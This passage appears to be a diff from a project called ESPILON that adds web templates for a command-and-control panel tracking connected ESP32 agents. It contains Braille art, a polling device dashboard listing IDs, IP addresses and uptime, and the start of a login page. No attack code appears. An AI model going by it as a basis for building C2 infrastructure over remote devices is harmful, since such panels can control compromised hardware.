⡈⢆⠱⡈⢆⠱⡈⢔⡈⢆⠱⣈⢂⠆⡱⢈⢆⠁⠀⠀⠀⠐⠈⠀⠌⠐⡀⠀⠐⢀⠀⠂⠁⠄⠈⠀⡐⠀⠂⠈⠄⠐⠠⠀⠁⠄⡈⠠⠀⠂⢀⠠⠁⠄⠀⢈⠀⠀⡀⠠⢀⠀⠄⢀⠈⠄⠀⡀⠂⠀⠀⠁⠆⢍⠢⣉⠒⡌⢄⠣⡘⢄⠣⡐⢡⠊⡔⢠⠃⠜⣀⠣⡘⢄⠣⡘⢠⢃
|
||||||
|
⠐⡌⠰⡁⢎⠰⡁⢆⡘⢄⠣⡐⢌⠢⡑⢌⠂⠀⠀⠀⠀⠁⢀⠈⠀⢀⠀⠌⠐⠀⠈⠐⠀⠂⠌⠀⡀⠀⠀⠠⠈⠀⠄⠈⠀⠂⠀⠐⠀⠈⡀⠠⠀⠈⢀⠀⠂⠀⡀⠀⢀⠀⠈⠀⠀⡀⠀⠄⠀⡁⠂⠀⠘⡄⠣⢄⠣⡘⢄⠊⡔⠌⢢⠉⢆⠱⣈⠤⣉⠒⡄⢣⠘⡄⢣⠘⡄⣊
|
||||||
|
⠂⡌⠱⡈⠆⠥⡘⠤⡈⢆⠱⡈⢆⠱⡈⠎⠀⠀⠀⠀⠈⠄⠀⠀⠂⡀⠀⠠⠀⠂⠐⠈⠀⡁⠀⠀⠀⠀⠄⠁⠀⠀⠀⠀⠀⢀⠀⠄⡀⠠⠀⠀⠠⠁⠀⠄⠀⠄⠠⠐⠀⠀⠀⠄⠀⠄⡁⠠⠐⠀⠂⠀⠀⠨⡑⢌⢂⠱⣈⠒⡌⡘⠤⣉⢂⠒⡄⡒⢄⠣⡘⠄⢣⠘⡄⠣⠔⢢
|
||||||
|
⠐⡨⠑⡌⣘⠢⡑⢢⠑⣈⠆⡱⢈⠦⡁⠀⠀⠄⠠⠐⠀⠀⠂⠀⡐⠀⠈⠀⠀⡁⠂⠐⠀⠀⠀⠀⢂⠀⠀⠠⠁⠀⠀⠀⠈⠀⠀⠐⠀⠀⠠⠀⠐⠀⠈⠀⠀⠀⠄⠐⠀⠌⠠⠀⠄⠀⡀⠀⠂⠐⡀⠁⠀⠀⠑⡌⢢⠑⡄⢣⠘⡄⢣⠐⡌⢒⡰⢁⠎⣐⠡⢊⠅⡒⢌⠱⡈⢆
|
||||||
|
⠁⢆⠱⡐⢢⠑⡌⢢⠑⡂⠜⣀⠣⠂⠀⠀⠀⠀⠀⠀⠈⠀⢀⠀⠄⠀⠂⠁⠀⠄⠠⠀⠀⠀⠌⠀⠀⢠⡀⠀⠀⠀⠄⠀⠀⠠⠀⠂⡀⠄⠀⠀⠄⠈⠀⠀⠄⠀⠀⠀⠂⠠⠀⠀⡐⠠⠀⠁⠐⠀⠀⠐⠀⡀⠀⠘⡄⢣⠘⡄⢣⠘⡄⢣⠐⡡⢂⠥⢊⢄⠣⢌⢂⠱⡈⢆⠱⣈
|
||||||
|
⢉⠢⢡⠘⣄⠊⡔⢡⠊⡜⢠⣁⠃⠀⠀⠀⠂⠁⡀⠀⠐⠀⡀⠠⠀⠂⠐⠠⠈⠀⠀⠀⢀⠁⠀⠀⠀⢰⣧⡟⠀⠀⢀⠀⠠⠀⠁⠀⠀⠀⠂⠁⠈⠀⠀⠄⠀⠀⠀⠀⠀⠠⢀⠁⠀⠀⠂⠈⠀⠠⠁⠀⠀⠀⠀⠀⠘⡄⢣⠘⡄⢣⠘⡄⢃⠆⡡⠘⣄⠊⡔⡈⢆⠡⢒⡈⢒⠤
|
||||||
|
⢂⡑⢢⠑⡄⡊⠔⡡⢊⠔⡡⢂⠄⠀⠀⠡⠀⠐⠀⠀⠁⠐⢀⠁⠄⠀⢂⠀⠄⡀⠁⠈⠀⠀⠀⠀⠀⣸⣿⣿⡄⠈⠀⢈⠀⠀⠀⡀⠀⠀⢀⠈⠀⠀⠀⠀⡀⠄⠀⠀⠀⠐⡀⠈⠀⠄⠁⡐⠈⠀⠄⠠⠀⠀⠀⠀⠀⡜⢠⢃⠜⡠⠑⡌⢢⠘⡄⠣⢄⠣⡐⢡⠊⡔⢡⠘⡌⠒
|
||||||
|
⠂⡌⢢⠉⡔⢡⠊⡔⢡⠊⡔⡁⠀⠀⡀⠀⠂⠀⢀⠂⠌⠀⠀⡀⠈⠐⠀⠄⠀⠀⠀⠀⠀⠂⠀⠀⠀⣾⣿⣿⡆⠀⠀⠀⡀⠀⠐⠀⢠⠀⠂⢀⠀⠀⠀⠀⠄⠐⠀⡁⢀⠀⠀⠁⠀⠀⠂⢀⠐⠈⡀⠐⠀⠈⠀⠀⠀⡜⢠⠊⡔⢡⠃⡜⠠⢃⠌⡑⢢⠡⡘⢄⠣⠌⢢⠡⠌⢣
|
||||||
|
⠐⡌⢆⠱⣈⠢⡑⢌⠢⡑⡰⠁⠀⠁⠀⠐⢀⠀⠂⠀⠄⠐⠀⠀⠀⠂⢀⠀⠀⠁⡀⢀⠀⡀⠀⠀⠀⣿⣿⣿⣧⠀⠀⠀⠀⠀⠁⠀⠠⡇⠀⠀⠀⠀⣇⠀⠂⠀⠀⠀⠈⡄⠀⢀⠂⠀⠐⠀⠠⠀⡀⠀⠌⠀⠄⠀⠀⢈⠆⡱⢈⠆⡱⢈⠱⡈⠜⡠⠃⢆⠱⡈⢆⡉⢆⠱⡘⠤
|
||||||
|
⠒⡨⢐⠢⡄⠣⢌⠢⡑⢢⠑⠀⠀⠀⠀⠐⠀⢈⠀⡀⠀⠁⠈⠠⢈⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⡄⠀⠀⠐⠀⠀⠀⠀⣿⠀⠠⠀⠀⣯⠀⠀⠀⠀⠀⠀⡇⠀⠀⠄⠈⢀⠐⠀⠀⠄⠀⠀⠀⠀⠈⠀⠀⡎⠰⡁⢎⠰⣁⠲⡁⢎⠰⡁⢎⠰⣁⠢⡘⢄⠣⡘⡰
|
||||||
|
⢂⠱⣈⠒⡌⠱⡈⢆⡑⠢⠍⠀⠀⠀⠀⠈⠐⠀⠂⠠⠀⠠⠐⠀⠀⠈⠀⠄⠀⠀⠀⠀⠀⠀⢰⠀⠀⣿⣿⣿⣿⣇⠀⢤⠀⠀⠀⠀⠀⢸⣟⡀⠀⠀⣿⣆⠀⠈⠀⠀⠀⢟⡀⠀⠠⠀⠀⡀⠀⠂⠀⠂⠀⠀⢂⠀⠀⠀⡜⢡⠘⠤⡁⢆⠡⡘⢄⠣⡘⢄⠣⢄⠱⡈⢆⠱⢠⠑
|
||||||
|
⠄⡃⢄⠣⢌⠱⡈⠆⡌⢡⠃⠀⠀⠀⠀⠀⠈⠀⠌⠀⠈⠀⡐⠀⠀⠀⠀⠀⡀⠀⠀⡀⠀⠄⢸⠀⠀⣿⣿⣿⣿⣿⢂⢸⡀⠀⠀⠀⠀⠘⣿⣜⡄⠀⣿⣯⡄⣀⠀⠀⠀⠺⠅⠀⠐⠀⠀⠀⠁⠀⠠⠀⠁⠄⠀⠀⠀⠀⡜⢠⠋⡔⢡⠊⡔⢡⠊⡔⠡⢊⠔⢊⠰⡁⢎⠰⠁⢎
|
||||||
|
⢄⠱⣈⠒⡌⢢⠑⡘⡄⣃⠆⠀⠀⠀⠀⠀⠀⠀⠠⠀⠄⠀⠀⢀⠀⠄⠀⠀⡁⠀⢀⠀⣤⠀⠘⡇⠀⢹⣿⣿⣿⣿⣯⣸⡴⠀⠀⠀⠀⢀⣻⣿⣬⣂⡋⢁⣤⢤⢶⣶⣤⣰⣶⠀⠀⠄⢀⠐⠀⠄⠁⡀⠠⠀⠀⠌⠀⠐⡘⡄⢣⠘⡄⢣⠘⡄⢃⠌⡱⢈⠜⡠⢃⠜⡠⢃⠍⢢
|
||||||
|
⣀⠒⡄⢣⠘⣄⢃⡒⡌⣐⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠌⠀⠈⡀⠀⠀⠀⢰⡆⠁⠀⠘⠒⠁⣀⣉⠀⢀⣀⣉⣩⣿⡟⢿⣿⣽⣯⣿⣼⣿⣿⣿⠿⢀⡿⡹⠊⠋⠉⠁⠀⠈⠛⠄⢀⠀⠂⢀⠀⠂⠀⠀⠐⠀⠀⡀⠂⠠⡑⢌⠢⡑⢌⠢⡑⢌⠢⡘⢄⠃⣆⠱⡈⠆⡱⢈⡌⡡
|
||||||
|
⢀⠣⠌⡄⠓⡄⣂⠒⡰⢈⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠂⢨⠄⠀⣔⣾⣿⡿⠿⠼⠆⠸⠿⣞⣱⡞⣿⣠⣹⣿⣿⣿⣿⣿⣿⡟⠰⢫⠗⡐⠀⠀⠀⠀⢄⠀⣶⣤⡀⠀⠀⠂⠀⠀⠀⠀⠐⠀⠀⠀⠀⠀⡱⢈⡔⠡⢊⠤⡑⢌⠢⡑⠌⡒⢠⢃⡘⠤⡑⢌⠰⢡
|
||||||
|
⢀⠣⡘⠠⢍⠰⣀⢃⠒⡩⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⢀⢸⠀⠀⢸⡃⠘⢊⠉⠀⠀⠀⠀⠀⢀⡀⠀⢉⡙⠻⣿⣿⣿⣿⣿⣿⣿⣯⣀⣷⣏⡌⠀⠠⠀⠀⠀⢈⠀⣸⣿⣿⠄⠀⠀⠀⠀⡀⠄⠀⠀⠀⠀⠀⠀⣑⠢⣐⠡⢊⠔⢌⠢⡑⢄⠣⡘⢄⠢⡘⠤⡑⢌⡑⢢
|
||||||
|
⠠⡑⢌⠱⣈⠒⡄⢣⠘⡔⢡⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⠸⠆⠀⢸⠷⠊⢁⠀⠀⠄⠀⠀⠉⡀⢹⣷⡄⠻⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣿⡀⠁⠀⠄⢁⣴⣿⡿⢻⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⢢⠑⡄⠣⢌⡘⢄⠣⡘⢄⠃⡜⠠⢃⠜⡠⢑⠢⡘⠤
|
||||||
|
⢄⠱⡈⢆⢡⠊⡔⠡⢃⠜⠤⡀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⠘⣇⠀⢸⠀⠘⣿⣇⠈⠆⠀⠀⢐⠀⣼⣿⣷⣄⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠶⣾⡿⠿⠟⣡⣾⡀⠀⠀⠀⠠⠀⢀⠀⠀⠀⠀⢀⠠⢅⠪⡐⢅⠢⡘⢄⠣⡘⢄⠣⢌⠱⡈⢆⠱⡈⢆⠱⢌
|
||||||
|
⠄⡃⠜⡠⢂⠣⢌⠱⡈⠜⡰⢁⠆⠀⠀⠀⠀⠀⠈⡄⢳⡄⠀⠀⠀⠿⡄⢾⣿⣦⣘⠿⣷⣤⣁⣈⣴⣾⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣶⣶⣷⣾⣿⣿⠀⠀⠀⠠⢀⠀⠀⠀⠀⠀⠀⠤⢃⡌⢢⠑⡌⢢⠑⡌⢢⠑⡌⠒⡌⢢⠑⡌⢂⠅⡊⢔⠨
|
||||||
|
⠤⠑⢌⡐⠣⡘⠄⢣⠘⡌⠔⡩⠘⡄⠀⠀⠀⠀⠀⢃⢻⣆⠈⠀⠀⣹⣡⢸⣿⣿⣿⣷⣬⣉⣙⣋⣩⣥⣴⣾⣿⣿⣿⣿⣿⣿⣿⡟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠈⠀⠀⠀⢀⡘⢢⢡⠘⡄⢣⠐⢢⠑⡈⢆⠒⢌⡑⢌⠢⡑⡈⠆⡌⠱⣈⠒
|
||||||
|
⠠⢉⠆⡌⠱⡠⢉⠆⡱⢈⠆⡱⢉⠔⡀⠀⠀⠀⠀⠈⢆⣻⡇⣆⠈⠷⣜⣆⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢳⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⢀⠀⠀⠀⡄⣊⠔⣂⠣⠘⠤⡉⢆⢡⠱⡈⠜⡠⠒⡌⠒⠤⡑⢌⡐⠣⢄⠩
|
||||||
|
⣀⠣⡘⢠⠃⡔⣉⠢⡑⢌⡘⢄⠣⡘⡁⠀⠀⠀⠀⠀⠈⠻⣷⡘⠆⠈⢳⠺⡄⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣣⢗⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⠔⠀⠀⠀⠀⠀⠰⢐⠡⢊⢄⠣⡉⢆⠱⡈⢆⠢⡑⠬⡐⡡⠌⡑⢢⠁⠆⡌⠱⣈⠱
|
||||||
|
⡀⢆⡑⢢⠑⡰⢄⠱⡈⢆⡘⢄⠣⢔⡁⠀⠀⡄⠀⠀⠀⠀⠘⢻⣷⣄⠈⢫⡽⡄⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣤⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠗⠀⠀⠀⠀⠀⠀⠀⠀⡱⢈⡒⠩⢄⠱⡈⢆⠡⡘⠤⡑⠌⢢⠑⡰⢡⠑⢢⠉⡜⢠⠃⡄⢣
|
||||||
|
⠐⡂⠜⡠⢃⠒⡌⡰⢁⠆⡸⢀⠇⢢⠄⠀⠰⡀⠀⠀⠀⠀⠀⠀⠉⠛⠳⣄⠹⣹⢆⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠁⠀⠀⡔⠡⢌⠱⡈⢆⠱⡈⢆⠑⡢⢡⢉⠆⡱⢀⠣⡘⢄⠣⢌⠢⡑⢌⠢
|
||||||
|
⠡⡘⠤⠑⡌⠒⠤⡑⠌⣂⠱⡈⢎⢢⠁⢀⡱⠰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠑⢯⠶⡘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⣡⣴⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠈⠀⠀⠀⠀⠀⠀⠀⠀⡰⢉⠆⡱⢈⠆⠱⡐⢌⠢⡑⠢⠌⡆⠱⡈⢆⠱⣈⠒⡄⢣⠘⡠⢃
|
||||||
|
⠐⡌⢢⢉⡔⡉⢆⠱⡈⢄⢃⠜⡠⢆⠁⢠⢂⡱⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣵⣈⡙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⡑⢢⠘⡄⢣⢈⠱⡈⢆⠱⣈⠱⡘⢄⠣⡑⢌⠒⡠⠑⡌⢢⠑⡄⢣
|
||||||
|
⠐⡌⢂⠦⡐⢡⠊⡔⢡⠊⡔⢨⡐⢌⠒⠤⢒⡰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⢼⣢⡙⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀⠈⠀⠀⠀⡀⢄⠀⢑⡂⢣⠘⠤⡈⢆⠱⡈⠔⡠⢃⠜⡠⢃⠜⡠⢊⠅⠣⢌⠡⢊⠔⡡
|
||||||
|
⠈⡔⢡⢂⡑⠆⡱⢈⠆⡱⢈⠆⡘⡠⢉⠜⡐⢢⠁⠀⠀⠀⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠧⢌⡙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠉⠀⠀⠀⠀⠀⠀⠀⢀⠀⠤⡑⢊⠔⢢⡘⢄⠣⢌⠱⣀⠣⡘⠰⣁⠣⣈⠱⠈⢆⠱⡈⢌⠱⡈⢆⠣⡘⠔
|
||||||
|
⠐⡌⢂⠆⡱⢈⠔⡡⢊⠔⡡⢊⠔⡑⢌⠢⠱⣈⠒⡰⣀⠒⠤⣀⠀⡀⠀⠀⠀⠀⣈⠀⠀⠀⠀⠀⠀⠀⢤⡈⠐⠪⣙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⣠⠂⠀⠀⠀⠀⠀⡄⠀⠀⠀⠀⢆⡱⢨⠘⡄⠲⣈⠒⡌⠒⡄⠣⢌⠱⠠⡑⡄⢣⠉⢆⠢⡑⢌⢂⠱⡈⢆⠱⣈
|
||||||
|
⠐⡌⢢⠘⡄⢣⢘⠰⡈⢆⠑⠢⢌⡑⢌⠒⡡⢂⡱⠐⢤⢉⠒⡌⢢⢡⠩⢌⠓⡌⢄⠣⢢⡐⠤⠠⠀⠀⢸⣚⡳⢧⡤⣌⡈⠛⠛⠿⢻⢟⠿⠿⠟⢋⣡⢴⡛⢶⠀⠀⠐⠂⠥⡉⠄⠀⠀⠀⠘⢠⠢⡑⡌⠰⢃⠄⠣⢌⠱⣈⠒⡌⢒⡡⡘⠤⡁⠎⡄⢃⠜⡠⢊⠔⡡⢊⠔⢢
|
||||||
|
⢂⠌⡄⢣⠘⡄⢎⠰⡁⠎⡌⡑⠢⠌⡄⠣⠔⡃⢔⠩⡐⢊⠔⡌⣡⠢⡑⢌⠒⡌⢌⡒⠁⠈⠀⠀⠀⠀⠸⣴⢫⡗⡾⣡⢏⡷⢲⠖⡦⣴⠲⣖⣺⠹⣖⡣⣟⠾⠀⠀⠀⠀⢂⠵⡁⠀⠀⠀⡘⢄⠣⡐⢌⠱⡈⢌⠣⢌⠒⡄⢣⠘⡄⢢⠑⠤⡑⢌⠰⡁⢆⠱⣈⠢⡑⢌⠚⠤
|
||||||
|
⠂⡜⢠⠃⡜⠰⢈⠆⡱⢈⠔⡨⠑⠬⡐⠱⡈⡔⣈⠒⡡⢊⠔⡨⢐⠢⡑⢌⠒⡌⠢⠜⡀⠀⠀⠀⠀⠀⠀⠞⣧⢻⠵⣋⢾⡱⣏⢿⡱⣎⡳⣝⢮⡻⠵⠋⠈⠀⠀⠀⠀⠀⢉⡒⡀⠀⠀⠀⠱⡈⢆⠱⡈⢆⡑⠢⡑⠢⡑⠌⢢⠑⡌⢢⠑⢢⠑⡌⡑⢌⢂⠒⡄⢃⠜⡠⣉⠒
|
||||||
|
⠐⡄⢣⠘⡄⠓⡌⢢⠑⡌⢢⠡⡉⢆⠡⢃⠴⠐⡄⢣⠐⢣⠘⡄⢃⠆⡱⢈⡒⠌⣅⠃⠀⠀⠀⠀⠀⠀⠀⠀⠈⠋⠿⣱⢧⡝⣮⢧⡻⠜⠓⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠒⡄⠀⠀⢠⠓⡘⡄⢣⠘⠤⣈⠱⡈⣑⠨⡘⢄⠣⠘⠤⣉⠢⡑⠤⡑⢌⠢⡑⢌⡂⢎⡐⠤⣉
|
||||||
|
⠐⡌⢢⠑⡌⠱⡈⠤⠃⡜⣀⠣⣘⠠⢃⠌⡂⢇⠸⢠⠉⢆⠱⡈⢆⠱⣀⠣⡘⠬⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠁⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠂⠉⠔⣈⠆⣉⠒⡄⠣⠔⡠⢃⠜⡠⢃⠍⡔⠄⢣⠘⠤⡑⢌⠢⡁⢆⡘⠤⡘⢰⠠
|
||||||
|
⠐⡌⢂⠱⣈⠱⣈⠒⡡⢒⠠⢃⠄⠣⢌⠢⣉⠢⣁⠣⡘⢄⠣⡘⢄⠣⡄⠓⠈⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠊⠔⠣⢌⡑⡊⠔⣡⠊⡔⢡⠊⠤⡙⠠⢍⠒⢌⠢⠑⡌⢢⠘⠤⡑⢢⠑
|
||||||
|
⠐⢌⠡⠒⡄⠣⢄⠣⡐⢡⠊⡔⢊⠱⣈⠒⣄⠃⢆⠱⣈⠦⠱⠘⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠘⠸⢠⠑⡌⢢⠉⣆⠩⡑⠬⡘⢄⠣⡑⢄⠣⡘⠤⡑⢢⢉
|
||||||
|
⠈⢆⠡⢃⠌⡑⢢⠑⡌⠡⢎⠰⡁⠎⡄⡓⠤⠙⠈⠂⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠐⠁⠚⠤⡑⡌⠱⡈⢆⠱⡈⢆⠱⡈⢆⠱⡈⢆
|
||||||
|
⢁⠊⡔⡁⢎⠰⡁⢎⠰⡉⢆⠣⠘⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠑⢌⢢⡁⠇⣌⠂⡅⢊⠤⡑⢌
|
||||||
|
⠌⡒⠤⡑⢌⠢⡑⢌⠒⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⡌⢄⠣⠜⡠⢆⠱⣈
|
||||||
|
⠒⢌⠰⢡⠊⡔⠡⠎⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢆⡑⢊⠔⢢⠑⠤
|
||||||
|
⡈⢆⡘⢂⠱⠨⠅⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢌⡡⢊⠆⣉⠒
|
||||||
|
⠐⢢⠘⠤⡉⡕⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠢⢅⡊⠤⣉
|
||||||
|
⢈⠢⢉⠆⡱⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠒⡌⠱⡠
|
||||||
|
</pre>
|
||||||
|
<div class="lain-message">
|
||||||
|
<h2>No devices in the Wired</h2>
|
||||||
|
<p class="typing">Waiting for ESP32 agents to connect...</p>
|
||||||
|
<p class="quote">"Present day... Present time... HAHAHA!"</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
{% endblock %}
|
||||||
|
|
||||||
|
{% block scripts %}
|
||||||
|
<script>
|
||||||
|
function formatDuration(seconds) {
|
||||||
|
if (seconds < 60) return Math.round(seconds) + 's';
|
||||||
|
if (seconds < 3600) return Math.round(seconds / 60) + 'm';
|
||||||
|
const hours = Math.floor(seconds / 3600);
|
||||||
|
const mins = Math.round((seconds % 3600) / 60);
|
||||||
|
return hours + 'h ' + mins + 'm';
|
||||||
|
}
|
||||||
|
|
||||||
|
function createDeviceCard(device) {
|
||||||
|
const statusClass = device.status === 'Connected' ? 'badge-connected' : 'badge-inactive';
|
||||||
|
|
||||||
|
return `
|
||||||
|
<div class="card" data-device-id="${device.id}">
|
||||||
|
<div class="card-header">
|
||||||
|
<span class="name">${device.id}</span>
|
||||||
|
<span class="badge ${statusClass}">${device.status}</span>
|
||||||
|
</div>
|
||||||
|
<div class="card-body">
|
||||||
|
<div class="device-info">
|
||||||
|
<div class="device-row">
|
||||||
|
<span class="label">IP Address</span>
|
||||||
|
<span class="value">${device.ip}:${device.port}</span>
|
||||||
|
</div>
|
||||||
|
<div class="device-row">
|
||||||
|
<span class="label">Connected</span>
|
||||||
|
<span class="value">${formatDuration(device.connected_for_seconds)}</span>
|
||||||
|
</div>
|
||||||
|
<div class="device-row">
|
||||||
|
<span class="label">Last Seen</span>
|
||||||
|
<span class="value">${formatDuration(device.last_seen_ago_seconds)} ago</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
`;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function loadDevices() {
|
||||||
|
try {
|
||||||
|
const res = await fetch('/api/devices');
|
||||||
|
const data = await res.json();
|
||||||
|
|
||||||
|
const grid = document.getElementById('devices-grid');
|
||||||
|
const empty = document.getElementById('empty-state');
|
||||||
|
const deviceCount = document.getElementById('device-count');
|
||||||
|
const activeCount = document.getElementById('active-count');
|
||||||
|
|
||||||
|
if (data.devices && data.devices.length > 0) {
|
||||||
|
grid.innerHTML = data.devices.map(createDeviceCard).join('');
|
||||||
|
grid.style.display = 'grid';
|
||||||
|
empty.style.display = 'none';
|
||||||
|
|
||||||
|
// Update stats
|
||||||
|
deviceCount.textContent = data.devices.length;
|
||||||
|
const active = data.devices.filter(d => d.status === 'Connected').length;
|
||||||
|
activeCount.textContent = active;
|
||||||
|
} else {
|
||||||
|
grid.style.display = 'none';
|
||||||
|
empty.style.display = 'flex';
|
||||||
|
deviceCount.textContent = '0';
|
||||||
|
activeCount.textContent = '0';
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
console.error('Failed to load devices:', e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
loadDevices();
|
||||||
|
setInterval(loadDevices, 5000);
|
||||||
|
</script>
|
||||||
|
{% endblock %}
|
||||||
32
tools/c2/templates/login.html
Normal file
32
tools/c2/templates/login.html
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Login - ESPILON</title>
|
||||||
|
<link rel="stylesheet" href="{{ url_for('static', filename='css/main.css') }}">
|
||||||
|
</head>
|
||||||
|
<body class="login-container">
|
||||||
|
<div class="login-box">
|
||||||
|
<div class="logo">ESPILON</div>
|
||||||
|
|
||||||
|
{% if error %}
|
||||||
|
<div class="error">{{ error }}</div>
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
